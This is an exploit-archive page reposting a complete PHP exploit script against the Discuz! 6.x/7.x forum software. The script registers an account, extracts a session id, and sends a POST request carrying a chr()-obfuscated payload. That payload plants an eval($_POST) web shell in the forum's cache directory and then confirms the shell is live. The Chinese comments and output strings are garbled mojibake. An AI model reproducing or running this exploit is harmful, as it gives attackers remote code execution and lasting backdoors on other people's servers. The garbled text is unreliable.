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Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009080113

Below is a copy:

#!/usr/bin/php
<?php
/**
 * Discuz! 6.x/7.x SODB-2008-13 Exp
 * By www.80vul.com
 * æ��»¶æ³����å����å�¼è¯·è�ªè¡�¿®æ�¹
 */
$host = 'www.80vul.com';
// æ��å�¡å�å��å��æ��IP
$path = '/discuz/';
// �����路�
$key  = 0;
// ��¢��å����¼�è¾�好å��ï¼�请å�æå���å�¼æ�¹º1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
     exit("���¹å¥½�,å���������¢��æ³�� -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
    exit("å�¦,åæ¦�æ�¯æ²¡æ��å¼�å�¯WAPæ³å��å� -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
    exit("好º�,å�»����½��WebShellå�:\t$shell\n���¢��»£�æ�¯:\t<?eval(\$_POST[c])?>\nå�«å��è¯�æ��½�¼�� -,-\n");
else
    exit("å�¯,åæ¦�æ�¯è¯¥½�«��å�å�æ¼�æ�,æ�¢�ªå� -,-\n");

function send()
{
    global $host, $path, $url, $cmd;

    $data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Referer: http://$host$path\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>


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